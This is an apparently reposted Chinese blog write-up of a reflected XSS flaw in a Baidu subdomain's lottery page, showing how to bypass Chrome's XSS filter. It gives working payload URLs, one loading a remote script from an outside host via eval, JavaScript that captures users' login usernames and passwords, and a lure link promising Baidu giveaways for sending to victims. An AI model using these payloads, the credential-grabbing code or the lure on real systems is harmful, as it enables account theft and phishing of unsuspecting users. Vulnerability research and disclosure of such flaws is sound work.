百度某分站XSS漏洞可以绕过chrome filter保护

百度某分站XSS漏洞可以绕过chrome filter保护
2015-02-09      我来说两句    来源:香草  
收藏    我要投稿

正好可以做为一个chrome filter绕过的案例,所以拿出来讲讲

今天打开百度首页,发现可以抽奖,有便宜不占非君子。于是我就点进去看了看  

?
1
http: //api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi

 

百度某分站XSS漏洞可以绕过chrome filter保护_第1张图片

可是半天都没有领取成功,于是我就随便点开看了看,找个xss玩儿吧。随便试了试发现
type=video&wd=xx&nowType=lottery&site=iqiyi
这几个参数都没有过滤双引号,可以很不幸,输入的内容还是会被chrome的xssfilter拦截。这里就需要用到chrome的复参绕过的向量。
我这里重点关注低三个参数,site他是一个类容输出在两个不同的地方的。  

?
1
http: //api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%27%22xxx

 

百度某分站XSS漏洞可以绕过chrome filter保护_第2张图片

如图可知,输出点出现在两个地方,且没有过滤
一般的xss代码,不用想都会被chrome的filter拦截的  

百度某分站XSS漏洞可以绕过chrome filter保护_第3张图片

那我们要怎么绕过呢?
以前研究过的一个过的对于这种一个变量输出在两个不同地方的情况,可以过chrome的向量  

?
1
"><img src='onerror=alert( 1 )

 

?
1
http: //api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%22%3E%3Cimg%20src=%27onerror=alert(1)

 

百度某分站XSS漏洞可以绕过chrome filter保护_第4张图片

如图可见,后面还有一个.png)会导致代码出错,那我们能不能用//来注释后面的代码呢,答案是否定的,测试发现只要加上/拦截器就会拦截,这一点chrome还是做得很好的。
想了一会儿,脑洞打开,既然我们不能注释后面的类容,那我们可以闭合,不让报错,不就行了。
最终构造出如下链接  

?
1
http: //api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%22%3E%3Cimg%20src=x%20onerror=x={png:1};(function(){alert(location.href)})(x

得到的结果如下:  

加载中...vcnQwMS5qcGc=" src="http://www.2cto.com/uploadfile/Collfiles/20150209/2015020909463212.jpg" width="600" />

成功闭合代码
下面我们来劫持用户的账号密码(在用户没登陆的情况下,登陆的情况就懒得写了),劫持代码如下:  

?
1
2
3
var pass= "" ;
TANGRAM__PSP_9__password.onblur=function(){pass= this .value};
TANGRAM__PSP_9__submit.onclick=function(){alert( 'by xiangcao username:' +TANGRAM__PSP_9__userName.value+ 'password:' +pass)} //发送我就不写了

最后把构造好的链接  

?
1
http: //api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi"><img%20id=x%20alt=with(body)appendChild(createElement(/script/.source)).src="//qqq.si/soPurw"%20src=%27%20onerror=x={png:1};(function(){eval(alt)})(x

发送出去:
<a href="http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&amp;wd=xx&amp;nowType=lottery&amp;site=iqiyi&quot;&gt;&lt;img%20id=x%20alt=with(body)appendChild(createElement(/script/.source)).src=&quot;//qqq.si/soPurw&quot;%20src=%27%20onerror=x={png:1};(function(){eval(alt)})(x">百度发福利了,快来抢啊</a>
结果  

百度某分站XSS漏洞可以绕过chrome filter保护_第5张图片

 

 

你可能感兴趣的:(chrome)